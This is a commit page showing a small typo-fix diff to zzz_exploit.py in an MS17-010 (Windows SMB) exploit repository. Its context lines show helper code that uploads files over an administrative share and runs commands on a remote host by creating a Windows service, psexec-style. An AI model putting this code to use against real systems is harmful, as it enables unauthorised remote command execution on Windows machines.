bozhihouc/MS17-010
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

fix typo

Browse Source
This commit is contained in:
worawit
2017-07-25 21:26:55 +07:00
parent 5c2bcc0364
commit a7e9d3d44d
1 changed files with 2 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

3
zzz_exploit.py
View File

@@ -907,6 +907,7 @@ def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
smbConn.putFile(remoteDrive + '$', remotePath, fp.read) smbConn.putFile(remoteDrive + '$', remotePath, fp.read)
# based on impacket/examples/serviceinstall.py # based on impacket/examples/serviceinstall.py
# Note: using Windows Service to execute command same as how psexec works
def service_exec(conn, cmd): def service_exec(conn, cmd):
import random import random
import string import string
@@ -918,7 +919,7 @@ def service_exec(conn, cmd):
rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc = conn.get_dce_rpc('svcctl')
rpcsvc.connect() rpcsvc.connect()
rpcsvc.bind(scmr.MSRPC_UUID_SCMR) rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
svnHandle = None svcHandle = None
try: try:
print("Opening SVCManager on %s....." % conn.get_remote_host()) print("Opening SVCManager on %s....." % conn.get_remote_host())
resp = scmr.hROpenSCManagerW(rpcsvc) resp = scmr.hROpenSCManagerW(rpcsvc)